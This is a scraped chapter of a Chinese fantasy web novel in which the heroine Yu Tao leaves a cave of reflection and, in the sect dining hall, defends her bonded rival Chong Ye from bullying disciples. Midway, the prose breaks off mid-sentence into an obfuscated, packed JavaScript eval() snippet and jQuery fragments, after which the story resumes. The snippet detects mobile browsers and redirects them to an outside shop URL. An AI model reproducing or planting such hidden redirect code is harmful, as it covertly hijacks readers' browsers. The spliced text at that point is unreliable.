文趣网 > 其他小说 > 咸鱼自救指南 > 3. 第三章
    早课钟声打破,思过崖洞里的平静。

    洞里的石头又硬又冷,往日来这思过,只让跪两个时辰,这次却要在这待上一夜,她什么都没准备。

    昨夜,乘着重烨跪在那闭目养息,虞桃便悄悄将他的衣角垫在身下。

    她睡得倒是舒坦,重烨的衣袍被扯得皱皱巴巴。

    今天一早“砰!”的一声,虞桃直接摔了个屁股蹲。

    就这么给痛醒了,她爬起来揉着屁股,看了眼重烨欲走的背影,一把就给他拽住。

    “干嘛?”虞桃即使痛得龇牙咧嘴,也要仰头瞪他。

    重烨低头看了一眼自己被攥的袖口,又看着面前少女那张还没睡醒的脸,嘴角抽了抽。

    “松手。”

    “痛死了!”虞桃从地上爬起来,一只手揉着屁股,另一只手死活不松,“我睡得好好的,怎么掉下来的?”

    重烨不理会她,抬起手朝她脑门上重弹一下。

    一声脆响。

    虞桃吃痛便松开了手,一手捂着脑门一手揉着屁股,模样甚是滑稽。

    等她抬起头准备骂人的时候,重烨已经出了洞口,步子迈得飞快,只留一个深蓝色背影,快得像是在躲瘟神。

    她在背后做个鬼脸,小声嘟囔着骂了一句,低头去看手腕。

    那跟金线不见了。

    昨晚上它还亮得晃眼,怎么他一出洞口就没了?

    她翻来覆去地看,镯子还是镯子,手腕还是手腕,那根连着两人的线,像是被什么东西藏了起来。

    “寂无,”她压低声音,“同心线呢?”

    镯身微微一亮,寂无的声音在耳边响起,温润如玉:“同心线旁人是看不见,这东西自己便会隐去,主人你别担心。”

    虞桃“哦”了一声,升了个懒腰这次松口气。

    看不见最好。

    要是让别人瞧见她跟重烨连着一条线,她这张老脸往哪搁?

    虞桃站起身拍拍裙摆上的灰,衣裙上还有些脏兮兮的,发髻也歪到一边去,整个人像个逃荒来的。

    她伸手理理头发,又把发带重新绑了一遍,又对着洞口的水洼照了照。

    嗯,还是那个貌美如花的虞桃。

    她缕缕头发,蹦蹦跳跳活动一番筋骨,只觉得屁股麻麻的。

    晨光刺眼,思过崖外头是一片松林,雾还没散尽。

    景色不错。

    但她可没空欣赏。

    她现在的事可多着呢!要解契还有找琉璃境,这个东西存不存在都还另说。

    不过话说回来,还有五年呢,急什么?

    她虞桃是谁?按她的性子,逍遥快活才是最主要的!

    “咕噜咕噜”一声,她的肚子不争气的叫唤。

    眼下最要紧的事是...吃饭!吃饱才是正经事!

    “饿死了!”

    虞桃捂着肚子,脚步加快。

    寂无的声音悠悠响起:“主人,您能不能有点万煞之主的样子?”

    “就是万煞之主也是要吃饭啊!”虞桃撇了撇嘴,理直气壮道,“不吃饭怎么成就大业?饿死了就是饿死鬼之主,不好听。”

    寂无沉默了。

    “快点,不然就没饭吃了。”虞桃提起裙子兴奋地小跑起来。

    忽然脚步一顿。

    她的表情变得十分微妙,昨晚...她和重烨...

    完了!她活命的法子,要寄托在重烨身上了,那个面瘫、毒舌、冷心冷肺的人。

    “...老天爷你是不是在玩我?”

    虞桃抱头痛哭,感叹自己的悲惨人生。

    寂无见状适时补刀:“主人,其实也怪不了人家。”

    “怪我咯?”

    “没法了,同心契又不是我让你们结的。”

    寂无快速扔下一句话,彻底闭上嘴。

    听见这话,虞桃一口老血差点喷出来,不能再跟自己器灵吵,这家伙儿最精了,总是说些戳人心窝子的话。

    她甩了甩脑袋,想把这些乱七八糟的念头全甩出去,加快脚步往饭堂跑。

    先填饱肚子才是正事。

    ......

    到了饭堂,人已经不少了。

    这个时辰正好是下早课,训练完的弟子们,正吃着早饭。

    他们三三两两坐在长桌前,端着粥碗啃着馒头,偶尔有说有笑,瞧见虞桃走进来,笑声便小了那么一点,目光躲躲闪闪地往她身上瞟。

    虞桃早习惯了,她在无妄宗什么名声,心里门儿清。

    不学无术、吊儿郎当、筑基期卡了三年纹丝不动,再加上隔三差五就跟重烨打架,损坏门派公务,罚去戒律堂,妥妥的问题弟子。

    不过...她可不在乎。

    虞桃哼着小曲大摇大摆走到打饭区。

    打饭师弟眼瞅着她来,也是好声好气的给她端了一碗,盛得满满的粥,又拿了两个馒头,又往她兜里揣几个红薯干。

    她虽然名声差,但她在别的弟子眼里可是瘟神一样样的存在,生怕这人缠上自己。

    虞桃得意笑笑,端着粥拿着馒头,找了空位坐下。

    屁股刚挨着板凳,门口又进来一个人。

    重烨。

    他身上依然是那宗门弟子服,腰间佩剑,发带捆着头发,整个人冷得像座冰山。

    饭堂的气氛又变了。

    方才还只是小声议论,这会儿干脆安静下来,连喝粥的吸溜声都没了。

    虞桃啃着馒头,眼睛滴溜溜地转。

    她跟重烨虽然都是戒律堂的常客,但弟子们对她的态度是懒得搭理、不能得罪。

    而对重烨却是避之不及,连打饭师兄都敢明着懈怠。

    盛粥时故意晃了晃勺子,小半碗粥被泼回木桶里,只留一半;给的是硬邦邦的冷馒头,连半块红薯干都不给,打饭的弟子没有半分好脸色。

    周围的弟子偷偷打量他,目光里的鄙夷都快要溢出来了。

    重烨也不抱怨,低着头一句话不说,端着他稀得能照出人影的粥,周围有空座的弟子,连忙把凳子踢进去,不让他坐,只能找了个最角落的位置,那是放清扫杂物的地方。

    虞桃看着他端起碗,低着头,穿过一排排桌子往杂物区那边走,经过的时候,不知道被谁绊了一跤,馒头滚了两圈才停,皮上沾满了灰尘。

    重烨不语弯腰捡起那个脏馒头,拍了拍上面的灰,丝毫不嫌弃地咬了一口。

    虞桃嘴里嚼了两下,目光落在重烨那难以下口的馒头上。

    她可不是心疼他,这个人昨天怼的她一套一套的,怎么到了这些人面前就成了哑巴?

    怂货。

    虞桃心里暗骂一句,继续啃着自己的馒头。

    啃了两口,又抬头看。

    重烨正喝着那碗稀粥,一口一口地喝着,没几口就见底了。

    虞桃心里瞬间不得劲了,把手里的馒头捏得变形。

    寂无的声音响起:“主人,咱不吃别糟蹋粮食啊!”

    “闭嘴!”

    “你们看,他还真坐那儿吃。”斜前方一桌,一个弟子压低声音跟同伴嘀咕,眼神往角落瞟,“脸皮真够厚的,害了人还好意思若无其事的来吃饭。”

    顿时整个饭堂都开始议论起来。

    虞桃狠狠咬了一口手上的馒头,努力压下自己的怒火。

    他被人排挤关她什么事?她巴不得看他倒霉出糗。

    但他活着也有好处,能帮她压煞气。

    这帮人欺负他,万一他心里受不了去跳崖,缺一个移动灵力包倒是没什么,但他要死了虞桃也得跟着陪葬。

    不行不行。

    寂无:“他在您眼里好脆弱……”

    “你懂什么,像这种内心都有点问题的!”

    这么

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17589390|205420||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一想,她顿时觉得该给他们上一课了!

    她把手里的变形馒头,全赛嘴里,不大不小正好赛的腮帮子鼓鼓的。

    虞桃走到打饭师兄面前,嘴里还在嚼,说不出话只能用手招呼。

    寂无疑惑:“主人这是要做什么?”

    打饭师兄愣住了,见她还在招手便走了过去,生怕这个虞桃一生气把这饭堂砸了。

    她勾着他的背走到饭堂后面,笑脸示意他等一下,这馒头太噎,没粥顺下去也太难咽下去。

    弟子摸不着头脑,见她这样只好等着。

    “师兄啊!”

    虞桃好不容易把馒头咽下去,打饭师兄被她这声“师兄”叫得浑身一抖。

    谁人不知道,虞桃在这宗门待了十五年,除了大师兄裴栖安,什么时候管人叫过师兄?

    不对,也叫过但不是真心的。她能不给人取外号都算谢天谢地。

    “虞、虞师妹,”打饭师兄下意识后退半步,“你有什么事吗?”

    “

    别紧张别紧张,”虞桃拍拍他的肩膀,笑得人畜无害,“我就想跟师兄聊聊。”

    打饭师兄更紧张了,这位祖宗笑起来准没好事。

    “师兄啊,”虞桃揽着他的肩,一副哥俩好的摸样,“我方才瞧见你给重烨打饭了。”

    他脸上僵了一瞬正巧被虞桃看在眼里。

    “那粥稀得跟水似得,馒头是前天剩的吧...”虞桃语气轻飘飘的,“怎么,咱无妄宗的米不够吃?还是水不要钱你使劲往里加?”

    “不、不是...”

    “那是什么?”虞桃歪着头看他,眼睛弯成月牙,“是他得罪你了?还是你看他不顺眼?”

    打饭师兄被她问得哑口无言,支吾半天说不出一句完整的话。

    旁边几个弟子也围了过来,有人小声嘀咕:“大哥不说二哥,多管闲事。你又不是不知道重烨那人...”

    “哪人?”虞桃转过头看向说话的弟子,脸上笑意不减。

    “上次捕妖珠那事,其他三个同门还在昏迷!这种人留在宗门也是祸害,给他一口饭就不错了,凭什么好吃好喝供着?”

    “就是!”另一个弟子也连忙帮腔,“他平时冷着一张脸,谁也不搭理,好像咱们都欠他的似得。出了事,连句解释都没有,算什么同门?”

    虞桃认识重烨十几年,知道这个人就算再怎么讨人嫌,也不至于故意害人。

    她正准备开口,余光忽然瞥见一个熟悉的身影闪过,她反应过来,重烨刚走过去,手里端着空碗,连一个眼神都不给。

    虞桃心里咯噔一下。

    寂无适时响起:“主人,他是不是误会了?”

    虞桃见他走,本想追过去,但是深思熟虑下还是算了。

    她深吸一口气,松开打饭师兄的肩膀,大步走回饭堂中央,叉腰环顾四周。

    “捕妖珠的事,你们不是都好奇吗?”

    全场没人说话。

    “那我虞桃今天就把话撂这儿...”

    她抬脚踩上旁边的长凳,环视众人:“捕妖珠的事,我会查个水落石出。在那之前,谁要是再仗着这事欺负同门,别怪我不客气。”

    此话一出,全场开始窃窃私语。

    片刻后,角落里有人小声嘀咕:“你凭什么...”

    虞桃转过头,冲那人咧嘴一笑:“就凭我闲得慌,行不行?”

    说完她从长凳上跳下来,拍拍手,大摇大摆走出饭堂。

    “查!我一定要查个水落石出!”虞桃此时正上头,她皱着眉头,看着很不好惹。

    片刻过后,她忽然想起来了什么。

    “我帮他查清这事,他一个感动就能自爆内丹,报答我!”

    她想的太过美好以至于寂无在一旁附和的笑笑。

    “不过...主人这捕妖珠到底是什么来历?”